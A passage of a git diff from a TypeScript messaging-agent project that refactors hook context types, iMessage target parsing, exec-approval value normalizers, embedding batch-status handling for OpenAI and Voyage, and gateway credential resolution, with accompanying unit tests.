HookInstallSpec["kind"], + }, + parsed, + ); if (typeof raw.package === "string") { spec.package = raw.package; } diff --git a/src/hooks/internal-hooks.ts b/src/hooks/internal-hooks.ts index 625261e3c16..b73dcb75fab 100644 --- a/src/hooks/internal-hooks.ts +++ b/src/hooks/internal-hooks.ts @@ -97,7 +97,7 @@ export type MessageSentHookEvent = InternalHookEvent & { context: MessageSentHookContext; }; -export type MessageTranscribedHookContext = { +type MessageEnrichedBodyHookContext = { /** Sender identifier (e.g., phone number, user ID) */ from?: string; /** Recipient identifier */ @@ -106,8 +106,6 @@ export type MessageTranscribedHookContext = { body?: string; /** Enriched body shown to the agent, including transcript */ bodyForAgent?: string; - /** The transcribed text from audio */ - transcript: string; /** Unix timestamp when the message was received */ timestamp?: number; /** Channel identifier (e.g., "telegram", "whatsapp") */ @@ -132,45 +130,20 @@ export type MessageTranscribedHookContext = { mediaType?: string; }; +export type MessageTranscribedHookContext = MessageEnrichedBodyHookContext & { + /** The transcribed text from audio */ + transcript: string; +}; + export type MessageTranscribedHookEvent = InternalHookEvent & { type: "message"; action: "transcribed"; context: MessageTranscribedHookContext; }; -export type MessagePreprocessedHookContext = { - /** Sender identifier (e.g., phone number, user ID) */ - from?: string; - /** Recipient identifier */ - to?: string; - /** Original raw message body */ - body?: string; - /** Fully enriched body shown to the agent (transcripts, image descriptions, link summaries) */ - bodyForAgent?: string; +export type MessagePreprocessedHookContext = MessageEnrichedBodyHookContext & { /** Transcribed audio text, if the message contained audio */ transcript?: string; - /** Unix timestamp when the message was received */ - timestamp?: number; - /** Channel identifier (e.g., "telegram", "whatsapp") */ - channelId: string; - /** Conversation/chat ID */ - conversationId?: string; - /** Message ID from the provider */ - messageId?: string; - /** Sender user ID */ - senderId?: string; - /** Sender display name */ - senderName?: string; - /** Sender username */ - senderUsername?: string; - /** Provider name */ - provider?: string; - /** Surface name */ - surface?: string; - /** Path to the media file, if present */ - mediaPath?: string; - /** MIME type of the media, if present */ - mediaType?: string; /** Whether this message was sent in a group/channel context */ isGroup?: boolean; /** Group or channel identifier, if applicable */ diff --git a/src/hooks/message-hook-mappers.ts b/src/hooks/message-hook-mappers.ts index be51245a545..1cdd12a93ac 100644 --- a/src/hooks/message-hook-mappers.ts +++ b/src/hooks/message-hook-mappers.ts @@ -213,23 +213,10 @@ export function toInternalMessageTranscribedContext( canonical: CanonicalInboundMessageHookContext, cfg: OpenClawConfig, ): MessageTranscribedHookContext & { cfg: OpenClawConfig } { + const shared = toInternalInboundMessageHookContextBase(canonical); return { - from: canonical.from, - to: canonical.to, - body: canonical.body, - bodyForAgent: canonical.bodyForAgent, + ...shared, transcript: canonical.transcript ?? "", - timestamp: canonical.timestamp, - channelId: canonical.channelId, - conversationId: canonical.conversationId, - messageId: canonical.messageId, - senderId: canonical.senderId, - senderName: canonical.senderName, - senderUsername: canonical.senderUsername, - provider: canonical.provider, - surface: canonical.surface, - mediaPath: canonical.mediaPath, - mediaType: canonical.mediaType, cfg, }; } @@ -238,12 +225,22 @@ export function toInternalMessagePreprocessedContext( canonical: CanonicalInboundMessageHookContext, cfg: OpenClawConfig, ): MessagePreprocessedHookContext & { cfg: OpenClawConfig } { + const shared = toInternalInboundMessageHookContextBase(canonical); + return { + ...shared, + transcript: canonical.transcript, + isGroup: canonical.isGroup, + groupId: canonical.groupId, + cfg, + }; +} + +function toInternalInboundMessageHookContextBase(canonical: CanonicalInboundMessageHookContext) { return { from: canonical.from, to: canonical.to, body: canonical.body, bodyForAgent: canonical.bodyForAgent, - transcript: canonical.transcript, timestamp: canonical.timestamp, channelId: canonical.channelId, conversationId: canonical.conversationId, @@ -255,9 +252,6 @@ export function toInternalMessagePreprocessedContext( surface: canonical.surface, mediaPath: canonical.mediaPath, mediaType: canonical.mediaType, - isGroup: canonical.isGroup, - groupId: canonical.groupId, - cfg, }; } diff --git a/src/imessage/target-parsing-helpers.ts b/src/imessage/target-parsing-helpers.ts index 2b64c145580..ba00590e6d5 100644 --- a/src/imessage/target-parsing-helpers.ts +++ b/src/imessage/target-parsing-helpers.ts @@ -1,3 +1,5 @@ +import { isAllowedParsedChatSender } from "../plugin-sdk/allow-from.js"; + export type ServicePrefix = { prefix: string; service: TService }; export type ChatTargetPrefixesParams = { @@ -13,10 +15,24 @@ export type ParsedChatTarget = | { kind: "chat_guid"; chatGuid: string } | { kind: "chat_identifier"; chatIdentifier: string }; +export type ParsedChatAllowTarget = ParsedChatTarget | { kind: "handle"; handle: string }; + +export type ChatSenderAllowParams = { + allowFrom: Array; + sender: string; + chatId?: number | null; + chatGuid?: string | null; + chatIdentifier?: string | null; +}; + function stripPrefix(value: string, prefix: string): string { return value.slice(prefix.length).trim(); } +function startsWithAnyPrefix(value: string, prefixes: readonly string[]): boolean { + return prefixes.some((prefix) => value.startsWith(prefix)); +} + export function resolveServicePrefixedTarget(params: { trimmed: string; lower: string; @@ -41,6 +57,31 @@ export function resolveServicePrefixedTarget(p return null; } +export function resolveServicePrefixedChatTarget(params: { + trimmed: string; + lower: string; + servicePrefixes: Array>; + chatIdPrefixes: string[]; + chatGuidPrefixes: string[]; + chatIdentifierPrefixes: string[]; + extraChatPrefixes?: string[]; + parseTarget: (remainder: string) => TTarget; +}): ({ kind: "handle"; to: string; service: TService } | TTarget) | null { + const chatPrefixes = [ + ...params.chatIdPrefixes, + ...params.chatGuidPrefixes, + ...params.chatIdentifierPrefixes, + ...(params.extraChatPrefixes ?? []), + ]; + return resolveServicePrefixedTarget({ + trimmed: params.trimmed, + lower: params.lower, + servicePrefixes: params.servicePrefixes, + isChatTarget: (remainderLower) => startsWithAnyPrefix(remainderLower, chatPrefixes), + parseTarget: params.parseTarget, + }); +} + export function parseChatTargetPrefixesOrThrow( params: ChatTargetPrefixesParams, ): ParsedChatTarget | null { @@ -97,6 +138,56 @@ export function resolveServicePrefixedAllowTarget(params: { return null; } +export function resolveServicePrefixedOrChatAllowTarget< + TAllowTarget extends ParsedChatAllowTarget, +>(params: { + trimmed: string; + lower: string; + servicePrefixes: Array<{ prefix: string }>; + parseAllowTarget: (remainder: string) => TAllowTarget; + chatIdPrefixes: string[]; + chatGuidPrefixes: string[]; + chatIdentifierPrefixes: string[]; +}): TAllowTarget | null { + const servicePrefixed = resolveServicePrefixedAllowTarget({ + trimmed: params.trimmed, + lower: params.lower, + servicePrefixes: params.servicePrefixes, + parseAllowTarget: params.parseAllowTarget, + }); + if (servicePrefixed) { + return servicePrefixed as TAllowTarget; + } + + const chatTarget = parseChatAllowTargetPrefixes({ + trimmed: params.trimmed, + lower: params.lower, + chatIdPrefixes: params.chatIdPrefixes, + chatGuidPrefixes: params.chatGuidPrefixes, + chatIdentifierPrefixes: params.chatIdentifierPrefixes, + }); + if (chatTarget) { + return chatTarget as TAllowTarget; + } + return null; +} + +export function createAllowedChatSenderMatcher(params: { + normalizeSender: (sender: string) => string; + parseAllowTarget: (entry: string) => TParsed; +}): (input: ChatSenderAllowParams) => boolean { + return (input) => + isAllowedParsedChatSender({ + allowFrom: input.allowFrom, + sender: input.sender, + chatId: input.chatId, + chatGuid: input.chatGuid, + chatIdentifier: input.chatIdentifier, + normalizeSender: params.normalizeSender, + parseAllowTarget: params.parseAllowTarget, + }); +} + export function parseChatAllowTargetPrefixes( params: ChatTargetPrefixesParams, ): ParsedChatTarget | null { diff --git a/src/imessage/targets.ts b/src/imessage/targets.ts index 75f159576ff..e709f1064e4 100644 --- a/src/imessage/targets.ts +++ b/src/imessage/targets.ts @@ -1,11 +1,11 @@ -import { isAllowedParsedChatSender } from "../plugin-sdk/allow-from.js"; import { normalizeE164 } from "../utils.js"; import { + createAllowedChatSenderMatcher, + type ChatSenderAllowParams, type ParsedChatTarget, - parseChatAllowTargetPrefixes, parseChatTargetPrefixesOrThrow, - resolveServicePrefixedAllowTarget, - resolveServicePrefixedTarget, + resolveServicePrefixedChatTarget, + resolveServicePrefixedOrChatAllowTarget, } from "./target-parsing-helpers.js"; export type IMessageService = "imessage" | "sms" | "auto"; @@ -80,14 +80,13 @@ export function parseIMessageTarget(raw: string): IMessageTarget { } const lower = trimmed.toLowerCase(); - const servicePrefixed = resolveServicePrefixedTarget({ + const servicePrefixed = resolveServicePrefixedChatTarget({ trimmed, lower, servicePrefixes: SERVICE_PREFIXES, - isChatTarget: (remainderLower) => - CHAT_ID_PREFIXES.some((p) => remainderLower.startsWith(p)) || - CHAT_GUID_PREFIXES.some((p) => remainderLower.startsWith(p)) || - CHAT_IDENTIFIER_PREFIXES.some((p) => remainderLower.startsWith(p)), + chatIdPrefixes: CHAT_ID_PREFIXES, + chatGuidPrefixes: CHAT_GUID_PREFIXES, + chatIdentifierPrefixes: CHAT_IDENTIFIER_PREFIXES, parseTarget: parseIMessageTarget, }); if (servicePrefixed) { @@ -115,46 +114,29 @@ export function parseIMessageAllowTarget(raw: string): IMessageAllowTarget { } const lower = trimmed.toLowerCase(); - const servicePrefixed = resolveServicePrefixedAllowTarget({ + const servicePrefixed = resolveServicePrefixedOrChatAllowTarget({ trimmed, lower, servicePrefixes: SERVICE_PREFIXES, parseAllowTarget: parseIMessageAllowTarget, + chatIdPrefixes: CHAT_ID_PREFIXES, + chatGuidPrefixes: CHAT_GUID_PREFIXES, + chatIdentifierPrefixes: CHAT_IDENTIFIER_PREFIXES, }); if (servicePrefixed) { return servicePrefixed; } - const chatTarget = parseChatAllowTargetPrefixes({ - trimmed, - lower, - chatIdPrefixes: CHAT_ID_PREFIXES, - chatGuidPrefixes: CHAT_GUID_PREFIXES, - chatIdentifierPrefixes: CHAT_IDENTIFIER_PREFIXES, - }); - if (chatTarget) { - return chatTarget; - } - return { kind: "handle", handle: normalizeIMessageHandle(trimmed) }; } -export function isAllowedIMessageSender(params: { - allowFrom: Array; - sender: string; - chatId?: number | null; - chatGuid?: string | null; - chatIdentifier?: string | null; -}): boolean { - return isAllowedParsedChatSender({ - allowFrom: params.allowFrom, - sender: params.sender, - chatId: params.chatId, - chatGuid: params.chatGuid, - chatIdentifier: params.chatIdentifier, - normalizeSender: normalizeIMessageHandle, - parseAllowTarget: parseIMessageAllowTarget, - }); +const isAllowedIMessageSenderMatcher = createAllowedChatSenderMatcher({ + normalizeSender: normalizeIMessageHandle, + parseAllowTarget: parseIMessageAllowTarget, +}); + +export function isAllowedIMessageSender(params: ChatSenderAllowParams): boolean { + return isAllowedIMessageSenderMatcher(params); } export function formatIMessageChatTarget(chatId?: number | null): string { diff --git a/src/infra/boundary-path.ts b/src/infra/boundary-path.ts index 2a4eb45a858..11d42758926 100644 --- a/src/infra/boundary-path.ts +++ b/src/infra/boundary-path.ts @@ -540,12 +540,9 @@ async function resolveOutsideBoundaryPathAsync(params: { return null; } const kind = await getPathKind(params.context.absolutePath, false); - return buildOutsideLexicalBoundaryPath({ + return buildOutsideBoundaryPathFromContext({ boundaryLabel: params.boundaryLabel, - rootCanonicalPath: params.context.rootCanonicalPath, - absolutePath: params.context.absolutePath, - canonicalOutsideLexicalPath: params.context.canonicalOutsideLexicalPath, - rootPath: params.context.rootPath, + context: params.context, kind, }); } @@ -558,13 +555,25 @@ function resolveOutsideBoundaryPathSync(params: { return null; } const kind = getPathKindSync(params.context.absolutePath, false); + return buildOutsideBoundaryPathFromContext({ + boundaryLabel: params.boundaryLabel, + context: params.context, + kind, + }); +} + +function buildOutsideBoundaryPathFromContext(params: { + boundaryLabel: string; + context: BoundaryResolutionContext; + kind: { exists: boolean; kind: ResolvedBoundaryPathKind }; +}): ResolvedBoundaryPath { return buildOutsideLexicalBoundaryPath({ boundaryLabel: params.boundaryLabel, rootCanonicalPath: params.context.rootCanonicalPath, absolutePath: params.context.absolutePath, canonicalOutsideLexicalPath: params.context.canonicalOutsideLexicalPath, rootPath: params.context.rootPath, - kind, + kind: params.kind, }); } diff --git a/src/infra/exec-approvals.ts b/src/infra/exec-approvals.ts index c99eaeef189..787b5dd7cb5 100644 --- a/src/infra/exec-approvals.ts +++ b/src/infra/exec-approvals.ts @@ -11,6 +11,30 @@ export type ExecHost = "sandbox" | "gateway" | "node"; export type ExecSecurity = "deny" | "allowlist" | "full"; export type ExecAsk = "off" | "on-miss" | "always"; +export function normalizeExecHost(value?: string | null): ExecHost | null { + const normalized = value?.trim().toLowerCase(); + if (normalized === "sandbox" || normalized === "gateway" || normalized === "node") { + return normalized; + } + return null; +} + +export function normalizeExecSecurity(value?: string | null): ExecSecurity | null { + const normalized = value?.trim().toLowerCase(); + if (normalized === "deny" || normalized === "allowlist" || normalized === "full") { + return normalized; + } + return null; +} + +export function normalizeExecAsk(value?: string | null): ExecAsk | null { + const normalized = value?.trim().toLowerCase(); + if (normalized === "off" || normalized === "on-miss" || normalized === "always") { + return normalized; + } + return null; +} + export type SystemRunApprovalBinding = { argv: string[]; cwd: string | null; diff --git a/src/infra/node-pairing.ts b/src/infra/node-pairing.ts index 69b90e0e853..dac53a3b4ee 100644 --- a/src/infra/node-pairing.ts +++ b/src/infra/node-pairing.ts @@ -10,8 +10,7 @@ import { import { rejectPendingPairingRequest } from "./pairing-pending.js"; import { generatePairingToken, verifyPairingToken } from "./pairing-token.js"; -export type NodePairingPendingRequest = { - requestId: string; +type NodePairingNodeMetadata = { nodeId: string; displayName?: string; platform?: string; @@ -24,26 +23,18 @@ export type NodePairingPendingRequest = { commands?: string[]; permissions?: Record; remoteIp?: string; +}; + +export type NodePairingPendingRequest = NodePairingNodeMetadata & { + requestId: string; silent?: boolean; isRepair?: boolean; ts: number; }; -export type NodePairingPairedNode = { - nodeId: string; +export type NodePairingPairedNode = Omit & { token: string; - displayName?: string; - platform?: string; - version?: string; - coreVersion?: string; - uiVersion?: string; - deviceFamily?: string; - modelIdentifier?: string; - caps?: string[]; - commands?: string[]; bins?: string[]; - permissions?: Record; - remoteIp?: string; createdAtMs: number; approvedAtMs: number; lastConnectedAtMs?: number; diff --git a/src/infra/parse-finite-number.test.ts b/src/infra/parse-finite-number.test.ts new file mode 100644 index 00000000000..8dd592b6558 --- /dev/null +++ b/src/infra/parse-finite-number.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, it } from "vitest"; +import { parseFiniteNumber } from "./parse-finite-number.js"; + +describe("parseFiniteNumber", () => { + it("returns finite numbers", () => { + expect(parseFiniteNumber(42)).toBe(42); + }); + + it("parses numeric strings", () => { + expect(parseFiniteNumber("3.14")).toBe(3.14); + }); + + it("returns undefined for non-finite or non-numeric values", () => { + expect(parseFiniteNumber(Number.NaN)).toBeUndefined(); + expect(parseFiniteNumber(Number.POSITIVE_INFINITY)).toBeUndefined(); + expect(parseFiniteNumber("not-a-number")).toBeUndefined(); + expect(parseFiniteNumber(null)).toBeUndefined(); + }); +}); diff --git a/src/infra/parse-finite-number.ts b/src/infra/parse-finite-number.ts new file mode 100644 index 00000000000..cf0fa0a3773 --- /dev/null +++ b/src/infra/parse-finite-number.ts @@ -0,0 +1,12 @@ +export function parseFiniteNumber(value: unknown): number | undefined { + if (typeof value === "number" && Number.isFinite(value)) { + return value; + } + if (typeof value === "string") { + const parsed = Number.parseFloat(value); + if (Number.isFinite(parsed)) { + return parsed; + } + } + return undefined; +} diff --git a/src/infra/provider-usage.fetch.shared.ts b/src/infra/provider-usage.fetch.shared.ts index 2a2d2d0201b..20c9ab18d09 100644 --- a/src/infra/provider-usage.fetch.shared.ts +++ b/src/infra/provider-usage.fetch.shared.ts @@ -1,3 +1,4 @@ +import { parseFiniteNumber as parseFiniteNumberish } from "./parse-finite-number.js"; import { PROVIDER_LABELS } from "./provider-usage.shared.js"; import type { ProviderUsageSnapshot, UsageProviderId } from "./provider-usage.types.js"; @@ -17,16 +18,7 @@ export async function fetchJson( } export function parseFiniteNumber(value: unknown): number | undefined { - if (typeof value === "number" && Number.isFinite(value)) { - return value; - } - if (typeof value === "string") { - const parsed = Number.parseFloat(value); - if (Number.isFinite(parsed)) { - return parsed; - } - } - return undefined; + return parseFiniteNumberish(value); } type BuildUsageHttpErrorSnapshotOptions = { diff --git a/src/memory/batch-embedding-common.ts b/src/memory/batch-embedding-common.ts index f572427ea65..2aa3351150f 100644 --- a/src/memory/batch-embedding-common.ts +++ b/src/memory/batch-embedding-common.ts @@ -1,6 +1,12 @@ export { extractBatchErrorMessage, formatUnavailableBatchError } from "./batch-error-utils.js"; export { postJsonWithRetry } from "./batch-http.js"; export { applyEmbeddingBatchOutputLine } from "./batch-output.js"; +export { + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, + throwIfBatchTerminalFailure, + type BatchCompletionResult, +} from "./batch-status.js"; export { EMBEDDING_BATCH_ENDPOINT, type EmbeddingBatchStatus, diff --git a/src/memory/batch-openai.ts b/src/memory/batch-openai.ts index 24c3b6f7eea..e17a420812c 100644 --- a/src/memory/batch-openai.ts +++ b/src/memory/batch-openai.ts @@ -7,9 +7,13 @@ import { formatUnavailableBatchError, normalizeBatchBaseUrl, postJsonWithRetry, + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, runEmbeddingBatchGroups, + throwIfBatchTerminalFailure, type EmbeddingBatchExecutionParams, type EmbeddingBatchStatus, + type BatchCompletionResult, type ProviderBatchOutputLine, uploadBatchJsonlFile, withRemoteHttpResponse, @@ -144,7 +148,7 @@ async function waitForOpenAiBatch(params: { timeoutMs: number; debug?: (message: string, data?: Record) => void; initial?: OpenAiBatchStatus; -}): Promise<{ outputFileId: string; errorFileId?: string }> { +}): Promise { const start = Date.now(); let current: OpenAiBatchStatus | undefined = params.initial; while (true) { @@ -156,21 +160,21 @@ async function waitForOpenAiBatch(params: { })); const state = status.status ?? "unknown"; if (state === "completed") { - if (!status.output_file_id) { - throw new Error(`openai batch ${params.batchId} completed without output file`); - } - return { - outputFileId: status.output_file_id, - errorFileId: status.error_file_id ?? undefined, - }; - } - if (["failed", "expired", "cancelled", "canceled"].includes(state)) { - const detail = status.error_file_id - ? await readOpenAiBatchError({ openAi: params.openAi, errorFileId: status.error_file_id }) - : undefined; - const suffix = detail ? `: ${detail}` : ""; - throw new Error(`openai batch ${params.batchId} ${state}${suffix}`); + return resolveBatchCompletionFromStatus({ + provider: "openai", + batchId: params.batchId, + status, + }); } + await throwIfBatchTerminalFailure({ + provider: "openai", + status: { ...status, id: params.batchId }, + readError: async (errorFileId) => + await readOpenAiBatchError({ + openAi: params.openAi, + errorFileId, + }), + }); if (!params.wait) { throw new Error(`openai batch ${params.batchId} still ${state}; wait disabled`); } @@ -204,6 +208,7 @@ export async function runOpenAiEmbeddingBatches( if (!batchInfo.id) { throw new Error("openai batch create failed: missing batch id"); } + const batchId = batchInfo.id; params.debug?.("memory embeddings: openai batch created", { batchId: batchInfo.id, @@ -213,30 +218,21 @@ export async function runOpenAiEmbeddingBatches( requests: group.length, }); - if (!params.wait && batchInfo.status !== "completed") { - throw new Error( - `openai batch ${batchInfo.id} submitted; enable remote.batch.wait to await completion`, - ); - } - - const completed = - batchInfo.status === "completed" - ? { - outputFileId: batchInfo.output_file_id ?? "", - errorFileId: batchInfo.error_file_id ?? undefined, - } - : await waitForOpenAiBatch({ - openAi: params.openAi, - batchId: batchInfo.id, - wait: params.wait, - pollIntervalMs: params.pollIntervalMs, - timeoutMs: params.timeoutMs, - debug: params.debug, - initial: batchInfo, - }); - if (!completed.outputFileId) { - throw new Error(`openai batch ${batchInfo.id} completed without output file`); - } + const completed = await resolveCompletedBatchResult({ + provider: "openai", + status: batchInfo, + wait: params.wait, + waitForBatch: async () => + await waitForOpenAiBatch({ + openAi: params.openAi, + batchId, + wait: params.wait, + pollIntervalMs: params.pollIntervalMs, + timeoutMs: params.timeoutMs, + debug: params.debug, + initial: batchInfo, + }), + }); const content = await fetchOpenAiFileContent({ openAi: params.openAi, diff --git a/src/memory/batch-status.test.ts b/src/memory/batch-status.test.ts new file mode 100644 index 00000000000..82a992556af --- /dev/null +++ b/src/memory/batch-status.test.ts @@ -0,0 +1,60 @@ +import { describe, expect, it } from "vitest"; +import { + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, + throwIfBatchTerminalFailure, +} from "./batch-status.js"; + +describe("batch-status helpers", () => { + it("resolves completion payload from completed status", () => { + expect( + resolveBatchCompletionFromStatus({ + provider: "openai", + batchId: "b1", + status: { + output_file_id: "out-1", + error_file_id: "err-1", + }, + }), + ).toEqual({ + outputFileId: "out-1", + errorFileId: "err-1", + }); + }); + + it("throws for terminal failure states", async () => { + await expect( + throwIfBatchTerminalFailure({ + provider: "voyage", + status: { id: "b2", status: "failed", error_file_id: "err-file" }, + readError: async () => "bad input", + }), + ).rejects.toThrow("voyage batch b2 failed: bad input"); + }); + + it("returns completed result directly without waiting", async () => { + const waitForBatch = async () => ({ outputFileId: "out-2" }); + const result = await resolveCompletedBatchResult({ + provider: "openai", + status: { + id: "b3", + status: "completed", + output_file_id: "out-3", + }, + wait: false, + waitForBatch, + }); + expect(result).toEqual({ outputFileId: "out-3", errorFileId: undefined }); + }); + + it("throws when wait disabled and batch is not complete", async () => { + await expect( + resolveCompletedBatchResult({ + provider: "openai", + status: { id: "b4", status: "pending" }, + wait: false, + waitForBatch: async () => ({ outputFileId: "out" }), + }), + ).rejects.toThrow("openai batch b4 submitted; enable remote.batch.wait to await completion"); + }); +}); diff --git a/src/memory/batch-status.ts b/src/memory/batch-status.ts new file mode 100644 index 00000000000..96e8da62894 --- /dev/null +++ b/src/memory/batch-status.ts @@ -0,0 +1,69 @@ +const TERMINAL_FAILURE_STATES = new Set(["failed", "expired", "cancelled", "canceled"]); + +type BatchStatusLike = { + id?: string; + status?: string; + output_file_id?: string | null; + error_file_id?: string | null; +}; + +export type BatchCompletionResult = { + outputFileId: string; + errorFileId?: string; +}; + +export function resolveBatchCompletionFromStatus(params: { + provider: string; + batchId: string; + status: BatchStatusLike; +}): BatchCompletionResult { + if (!params.status.output_file_id) { + throw new Error(`${params.provider} batch ${params.batchId} completed without output file`); + } + return { + outputFileId: params.status.output_file_id, + errorFileId: params.status.error_file_id ?? undefined, + }; +} + +export async function throwIfBatchTerminalFailure(params: { + provider: string; + status: BatchStatusLike; + readError: (errorFileId: string) => Promise; +}): Promise { + const state = params.status.status ?? "unknown"; + if (!TERMINAL_FAILURE_STATES.has(state)) { + return; + } + const detail = params.status.error_file_id + ? await params.readError(params.status.error_file_id) + : undefined; + const suffix = detail ? `: ${detail}` : ""; + throw new Error(`${params.provider} batch ${params.status.id ?? ""} ${state}${suffix}`); +} + +export async function resolveCompletedBatchResult(params: { + provider: string; + status: BatchStatusLike; + wait: boolean; + waitForBatch: () => Promise; +}): Promise { + const batchId = params.status.id ?? ""; + if (!params.wait && params.status.status !== "completed") { + throw new Error( + `${params.provider} batch ${batchId} submitted; enable remote.batch.wait to await completion`, + ); + } + const completed = + params.status.status === "completed" + ? resolveBatchCompletionFromStatus({ + provider: params.provider, + batchId, + status: params.status, + }) + : await params.waitForBatch(); + if (!completed.outputFileId) { + throw new Error(`${params.provider} batch ${batchId} completed without output file`); + } + return completed; +} diff --git a/src/memory/batch-voyage.ts b/src/memory/batch-voyage.ts index 1835f9b053f..aa5bfc61017 100644 --- a/src/memory/batch-voyage.ts +++ b/src/memory/batch-voyage.ts @@ -9,9 +9,13 @@ import { formatUnavailableBatchError, normalizeBatchBaseUrl, postJsonWithRetry, + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, runEmbeddingBatchGroups, + throwIfBatchTerminalFailure, type EmbeddingBatchExecutionParams, type EmbeddingBatchStatus, + type BatchCompletionResult, type ProviderBatchOutputLine, uploadBatchJsonlFile, withRemoteHttpResponse, @@ -146,7 +150,7 @@ async function waitForVoyageBatch(params: { timeoutMs: number; debug?: (message: string, data?: Record) => void; initial?: VoyageBatchStatus; -}): Promise<{ outputFileId: string; errorFileId?: string }> { +}): Promise { const start = Date.now(); let current: VoyageBatchStatus | undefined = params.initial; while (true) { @@ -158,21 +162,21 @@ async function waitForVoyageBatch(params: { })); const state = status.status ?? "unknown"; if (state === "completed") { - if (!status.output_file_id) { - throw new Error(`voyage batch ${params.batchId} completed without output file`); - } - return { - outputFileId: status.output_file_id, - errorFileId: status.error_file_id ?? undefined, - }; - } - if (["failed", "expired", "cancelled", "canceled"].includes(state)) { - const detail = status.error_file_id - ? await readVoyageBatchError({ client: params.client, errorFileId: status.error_file_id }) - : undefined; - const suffix = detail ? `: ${detail}` : ""; - throw new Error(`voyage batch ${params.batchId} ${state}${suffix}`); + return resolveBatchCompletionFromStatus({ + provider: "voyage", + batchId: params.batchId, + status, + }); } + await throwIfBatchTerminalFailure({ + provider: "voyage", + status: { ...status, id: params.batchId }, + readError: async (errorFileId) => + await readVoyageBatchError({ + client: params.client, + errorFileId, + }), + }); if (!params.wait) { throw new Error(`voyage batch ${params.batchId} still ${state}; wait disabled`); } @@ -206,6 +210,7 @@ export async function runVoyageEmbeddingBatches( if (!batchInfo.id) { throw new Error("voyage batch create failed: missing batch id"); } + const batchId = batchInfo.id; params.debug?.("memory embeddings: voyage batch created", { batchId: batchInfo.id, @@ -215,30 +220,21 @@ export async function runVoyageEmbeddingBatches( requests: group.length, }); - if (!params.wait && batchInfo.status !== "completed") { - throw new Error( - `voyage batch ${batchInfo.id} submitted; enable remote.batch.wait to await completion`, - ); - } - - const completed = - batchInfo.status === "completed" - ? { - outputFileId: batchInfo.output_file_id ?? "", - errorFileId: batchInfo.error_file_id ?? undefined, - } - : await waitForVoyageBatch({ - client: params.client, - batchId: batchInfo.id, - wait: params.wait, - pollIntervalMs: params.pollIntervalMs, - timeoutMs: params.timeoutMs, - debug: params.debug, - initial: batchInfo, - }); - if (!completed.outputFileId) { - throw new Error(`voyage batch ${batchInfo.id} completed without output file`); - } + const completed = await resolveCompletedBatchResult({ + provider: "voyage", + status: batchInfo, + wait: params.wait, + waitForBatch: async () => + await waitForVoyageBatch({ + client: params.client, + batchId, + wait: params.wait, + pollIntervalMs: params.pollIntervalMs, + timeoutMs: params.timeoutMs, + debug: params.debug, + initial: batchInfo, + }), + }); const baseUrl = normalizeBatchBaseUrl(params.client); const errors: string[] = []; diff --git a/src/node-host/runner.credentials.test.ts b/src/node-host/runner.credentials.test.ts index 394f1872191..543459161f5 100644 --- a/src/node-host/runner.credentials.test.ts +++ b/src/node-host/runner.credentials.test.ts @@ -3,21 +3,25 @@ import type { OpenClawConfig } from "../config/config.js"; import { withEnvAsync } from "../test-utils/env.js"; import { resolveNodeHostGatewayCredentials } from "./runner.js"; +function createRemoteGatewayTokenRefConfig(tokenId: string): OpenClawConfig { + return { + secrets: { + providers: { + default: { source: "env" }, + }, + }, + gateway: { + mode: "remote", + remote: { + token: { source: "env", provider: "default", id: tokenId }, + }, + }, + } as OpenClawConfig; +} + describe("resolveNodeHostGatewayCredentials", () => { it("resolves remote token SecretRef values", async () => { - const config = { - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "remote", - remote: { - token: { source: "env", provider: "default", id: "REMOTE_GATEWAY_TOKEN" }, - }, - }, - } as OpenClawConfig; + const config = createRemoteGatewayTokenRefConfig("REMOTE_GATEWAY_TOKEN"); await withEnvAsync( { @@ -32,19 +36,7 @@ describe("resolveNodeHostGatewayCredentials", () => { }); it("prefers OPENCLAW_GATEWAY_TOKEN over configured refs", async () => { - const config = { - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "remote", - remote: { - token: { source: "env", provider: "default", id: "REMOTE_GATEWAY_TOKEN" }, - }, - }, - } as OpenClawConfig; + const config = createRemoteGatewayTokenRefConfig("REMOTE_GATEWAY_TOKEN"); await withEnvAsync( { @@ -59,19 +51,7 @@ describe("resolveNodeHostGatewayCredentials", () => { }); it("throws when a configured remote token ref cannot resolve", async () => { - const config = { - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "remote", - remote: { - token: { source: "env", provider: "default", id: "MISSING_REMOTE_GATEWAY_TOKEN" }, - }, - }, - } as OpenClawConfig; + const config = createRemoteGatewayTokenRefConfig("MISSING_REMOTE_GATEWAY_TOKEN"); await withEnvAsync( { diff --git a/src/node-host/runner.ts b/src/node-host/runner.ts index c56fe3b9832..a20decb84d1 100644 --- a/src/node-host/runner.ts +++ b/src/node-host/runner.ts @@ -1,6 +1,6 @@ import { resolveBrowserConfig } from "../browser/config.js"; import { loadConfig, type OpenClawConfig } from "../config/config.js"; -import { normalizeSecretInputString, resolveSecretInputRef } from "../config/types.secrets.js"; +import { normalizeSecretInputString } from "../config/types.secrets.js"; import { GatewayClient } from "../gateway/client.js"; import { loadOrCreateDeviceIdentity } from "../infra/device-identity.js"; import type { SkillBinTrustEntry } from "../infra/exec-approvals.js"; @@ -12,8 +12,7 @@ import { NODE_SYSTEM_RUN_COMMANDS, } from "../infra/node-commands.js"; import { ensureOpenClawCliOnPath } from "../infra/path-env.js"; -import { secretRefKey } from "../secrets/ref-contract.js"; -import { resolveSecretRefValues } from "../secrets/resolve.js"; +import { resolveSecretInputString } from "../secrets/resolve-secret-input-string.js"; import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES } from "../utils/message-channel.js"; import { VERSION } from "../version.js"; import { ensureNodeHostConfig, saveNodeHostConfig, type NodeHostGatewayConfig } from "./config.js"; @@ -117,27 +116,17 @@ async function resolveNodeHostSecretInputString(params: { path: string; env: NodeJS.ProcessEnv; }): Promise { - const defaults = params.config.secrets?.defaults; - const { ref } = resolveSecretInputRef({ + const resolvedValue = await resolveSecretInputString({ + config: params.config, value: params.value, - defaults, + env: params.env, + onResolveRefError: (error) => { + const detail = error instanceof Error ? error.message : String(error); + throw new Error(`${params.path} secret reference could not be resolved: ${detail}`, { + cause: error, + }); + }, }); - if (!ref) { - return normalizeSecretInputString(params.value); - } - let resolved: Map; - try { - resolved = await resolveSecretRefValues([ref], { - config: params.config, - env: params.env, - }); - } 